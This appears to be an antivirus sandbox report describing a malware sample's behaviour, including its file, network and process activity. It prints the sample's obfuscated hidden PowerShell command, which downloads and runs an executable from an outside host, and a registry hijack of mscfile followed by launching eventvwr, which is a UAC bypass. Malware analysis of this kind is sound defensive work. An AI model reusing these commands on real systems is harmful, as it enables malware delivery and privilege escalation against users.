Technical Information
Malicious functions
Downloads and executes
- http://ap#.###piringkerala.com/im4.exe as %temp%\\regsvc.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c pOWerSHElL.EXe -winDowSTYLe hiDDen -NoProfILE -ExEcuTionPOlicY BypASs (New-ObJeCt SYSteM.NEt.WEbClIEnt).DOWnLoaDFilE('http://ap#.###piringkerala.com/im4.exe','%TEMP%\\regsvc.exe') & reg add ...
Modifies file system
Creates the following files
- %TEMP%\regsvc.exe
- nul
Network activity
Connects to
- 'ap#.###piringkerala.com':80
TCP
HTTP GET requests
- http://ap#.###piringkerala.com/im4.exe
UDP
- DNS ASK ap#.###piringkerala.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c pOWerSHElL.EXe -winDowSTYLe hiDDen -NoProfILE -ExEcuTionPOlicY BypASs (New-ObJeCt SYSteM.NEt.WEbClIEnt).DOWnLoaDFilE('http://ap#.###piringkerala.com/im4.exe','%TEMP%\\regsvc.exe') & reg add ...' (with hidden window)
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d %TEMP%\\regsvc.exe /f
- '<SYSTEM32>\eventvwr.exe'
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"
- '<SYSTEM32>\ping.exe' -n 15 127.0.0.1
